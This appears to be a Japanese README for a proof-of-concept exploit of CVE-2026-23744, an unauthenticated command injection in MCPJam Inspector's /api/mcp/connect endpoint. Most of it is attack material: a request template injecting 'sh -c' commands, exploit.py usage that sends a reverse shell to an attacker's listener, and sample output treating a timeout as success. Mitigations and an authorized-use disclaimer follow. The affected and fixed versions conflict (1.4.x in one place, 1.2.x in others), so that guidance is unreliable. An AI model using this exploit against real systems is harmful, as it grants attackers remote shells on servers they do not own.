
CVE-2026-23744のPoCエクスプロイト — 認証不要のRCE in MCPJam Inspector、未検証のserverConfigコマンドインジェクションを介した/api/mcp/connect上で、認証なしでプロセス所有者としてリバースシェルを可能にする。
MCPJam は、MCP (Model Context Protocol) サーバーへの接続、デバッグ、管理に使用されるオープンソースの MCP インスペクター兼プロキシです。バージョン <= 1.4.2 では、/api/mcp/connect エンドポイントが認証や入力検証なしで公開されています。未認証のリモート攻撃者は、serverConfig.command / serverConfig.args フィールドを介して任意の OS コマンドを注入し、プロセス所有者の権限でリモートコード実行を取得できます。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-23744 |
| CVSS スコア | 9.8 (クリティカル) |
| CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — OS コマンドにおける特殊要素の不適切な無害化 |
| コンポーネント | MCPJam MCP プロキシインスペクター |
| 影響を受ける | MCPJam <= 1.4.2 |
| 修正済み | MCPJam >= 1.4.3 |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| 開示日 | 2026-01-15 |
脆弱なエンドポイントは、認証なしの JSON POST リクエストを受け入れます:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam は command と args を Node.js のプロセス生成 (child_process.spawn または同等のもの) に直接渡します。以下の対策は一切行われていません:
ポート 3000(デフォルト)に到達可能な攻撃者は、args[1] にリバースシェルペイロードを仕込み、MCPJam プロセス所有者(多くの場合 root や広範なシステムアクセス権を持つサービスアカウント)としてシェルを取得できます。
/api/mcp/connect に認証ミドルウェアガードがないことと、プロセス生成呼び出しでユーザー指定の値を制御なしに使用していることが組み合わさり、典型的な 未認証 OS コマンドインジェクション (CWE-78) を引き起こします。
pip install requests urllib3
-t, --target ターゲットの IP アドレスまたはホスト名
-p, --port ターゲットポート(デフォルト MCPJam: 3000)
-l, --lhost リバースシェルコールバック用のローカル IP
-r, --lport リバースシェルコールバック用のローカルポート
--timeout ターゲットの可用性を待機する秒数(デフォルト: 30)
--shell-timeout シェルがドロップしたとみなす前の POST タイムアウト(デフォルト: 5)
-v, --verbose 完全な HTTP レスポンスボディを表示
1. マシンで netcat リスナーを起動:
nc -lvnp 4444
2. エクスプロイトを実行:
# 基本
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# 詳細出力 + 延長された可用性タイムアウト(応答の遅いターゲット向け)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# より長いシェルタイムアウト(シェルが確立されるまでより多くの時間を与える)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · serverConfig インジェクションによる未認証 RCE ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
コンポーネント : MCPJam MCP プロキシインスペクター
影響を受ける : <= 1.2.3 → 修正済み: >= 1.2.4
CVSS スコア : 9.8 (クリティカル)
CVSS ベクトル : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS コマンドインジェクション
タイプ : 未認証リモートコード実行 (ネットワーク / 認証不要)
参照 : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] ターゲット 10.10.11.50:3000 を調査中 (最大 30 秒) ...
10:32:02 [+] ターゲットは稼働中 — HTTP 200
10:32:02 [*] エクスプロイトエンドポイント : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] リバースシェルコールバック : 10.10.14.5:4444
10:32:02 [!] リスナーを確認 : nc -lvnp 4444
10:32:02 [*] ペイロードを発射 ...
10:32:07 [+] POST が 5 秒後にタイムアウト — リバースシェルが 10.10.14.5:4444 で確立された可能性があります
10:32:07 [+] netcat リスナーに切り替えてください — 着信接続を期待します。
10:32:07 [+] エクスプロイト処理が完了しました。
タイムアウト = 成功の指標。 POST リクエストがタイムアウトした場合、ターゲットプロセスは開いたリバースシェルでブロックされています — これは期待される動作であり、RCE が達成されたことを確認します。すぐにリスナーに切り替えてください。
| 優先度 | 対応 |
|---|---|
| クリティカル | MCPJam を >= 1.2.4 に更新 |
| 高 | /api/mcp/connect を認証ミドルウェアの背後に制限 |
| 高 | 信頼できる IP からのみ MCPJam ポートへのアクセスを制限するネットワークレベルのファイアウォールルールを適用 |
| 中 | serverConfig.command に許可される値をホワイトリスト化 |
| 中 | MCPJam をコンテナ内で、または制限された Linux ユーザー(シェルなし、/dev/tcp なし)で実行 |
| 低 | プロセス生成イベントの監査ログを有効化 |
このエクスプロイトは、教育目的および許可されたセキュリティテストのためにのみ提供されます。所有しているか、明示的な書面による許可を得たシステムに対してのみ使用してください。無許可での使用は違法かつ非倫理的です。